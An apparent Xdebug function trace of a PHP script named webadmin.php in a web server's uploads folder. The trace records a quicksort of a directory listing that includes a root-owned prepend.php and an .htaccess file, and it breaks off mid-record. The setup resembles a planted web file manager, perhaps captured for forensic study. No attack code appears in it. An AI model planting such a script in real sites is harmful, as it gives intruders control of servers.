5	191	0	0.010026	800392	floor	0		/var/www/html/uploads/webadmin.php	929	1	1
5	191	1	0.010039	800424
5	191	R			1
4		A						/var/www/html/uploads/webadmin.php	929	$cmp = '.'
4		A						/var/www/html/uploads/webadmin.php	931	$l = 0
4		A						/var/www/html/uploads/webadmin.php	932	$r = 2
4		A						/var/www/html/uploads/webadmin.php	937	$r--
4		A						/var/www/html/uploads/webadmin.php	941	$tmp = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4		A						/var/www/html/uploads/webadmin.php	942	$array[0] = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4		A						/var/www/html/uploads/webadmin.php	943	$array[1] = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4		A						/var/www/html/uploads/webadmin.php	945	$l++
4		A						/var/www/html/uploads/webadmin.php	946	$r--
5	192	0	0.010195	800392	quicksort	1		/var/www/html/uploads/webadmin.php	952	4	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]	0	0	'filename'
5	192	1	0.010246	800392
5	193	0	0.010253	800392	quicksort	1		/var/www/html/uploads/webadmin.php	953	4	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]	1	2	'filename'
6	194	0	0.010296	800392	floor	0		/var/www/html/uploads/webadmin.php	929	1	1.5
6	194	1	0.010309	800424
6	194	R			1
5		A						/var/www/html/uploads/webadmin.php	929	$cmp = '..'
5		A						/var/www/html/uploads/webadmin.php	931	$l = 1
5		A						/var/www/html/uploads/webadmin.php	932	$r = 2
5		A						/var/www/html/uploads/webadmin.php	937	$r--
5		A						/var/www/html/uploads/webadmin.php	941	$tmp = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
5		A						/var/www/html/uploads/webadmin.php	942	$array[1] = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
5		A						/var/www/html/uploads/webadmin.php	943	$array[1] = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
5		A						/var/www/html/uploads/webadmin.php	945	$l++
5		A						/var/www/html/uploads/webadmin.php	946	$r--
6	195	0	0.010458	800392	quicksort	1		/var/www/html/uploads/webadmin.php	952	4	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]	1	0	'filename'
6	195	1	0.010502	800392
6	196	0	0.010509	800392	quicksort	1		/var/www/html/uploads/webadmin.php	953	4	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]	2	2	'filename'
6	196	1	0.010552	800392
5	193	1	0.010559	800392
4	190	1	0.010566	800392
4	197	0	0.010573	800416	sizeof	0		/var/www/html/uploads/webadmin.php	918	1	[0 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4	197	1	0.010618	800448
4	197	R			3
4	198	0	0.010631	800416	quicksort	1		/var/www/html/uploads/webadmin.php	918	4	[0 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]	0	2	'filename'
5	199	0	0.010711	800416	floor	0		/var/www/html/uploads/webadmin.php	929	1	1
5	199	1	0.010725	800448
5	199	R			1
4		A						/var/www/html/uploads/webadmin.php	929	$cmp = 'prepend.php'
4		A						/var/www/html/uploads/webadmin.php	931	$l = 0
4		A						/var/www/html/uploads/webadmin.php	932	$r = 2
4		A						/var/www/html/uploads/webadmin.php	941	$tmp = ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4		A						/var/www/html/uploads/webadmin.php	942	$array[0] = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4		A						/var/www/html/uploads/webadmin.php	943	$array[2] = ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4		A						/var/www/html/uploads/webadmin.php	945	$l++
4		A						/var/www/html/uploads/webadmin.php	946	$r--
4		A						/var/www/html/uploads/webadmin.php	941	$tmp = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4		A						/var/www/html/uploads/webadmin.php	942	$array[1] = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4		A						/var/www/html/uploads/webadmin.php	943	$array[1] = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4		A						/var/www/html/uploads/webadmin.php	945	$l++
4		A						/var/www/html/uploads/webadmin.php	946	$r--
5	200	0	0.010969	800416	quicksort	1		/var/www/html/uploads/webadmin.php	952	4	[0 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]	0	0	'filename'
5	200	1	0.011016	800416
5	201	0	0.011024	800416	quicksort	1		/var/www/html/uploads/webadmin.php	953	4	[0 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]	2	2	'filename'
5	201	1	0.011069	800416
4	198	1	0.011076	800416
4	202	0	0.011083	800416	array_merge	0		/var/www/html/uploads/webadmin.php	921	2	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]	[0 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4	202	1	0.011152	800856
4	202	R			[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
3	181	1	0.011225	799992
3	181	R			[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
2		A						/var/www/html/uploads/webadmin.php	1213	$list = [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
3	203	0	0.011422	799616	listing	1		/var/www/html/uploads/webadmin.php	1214	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 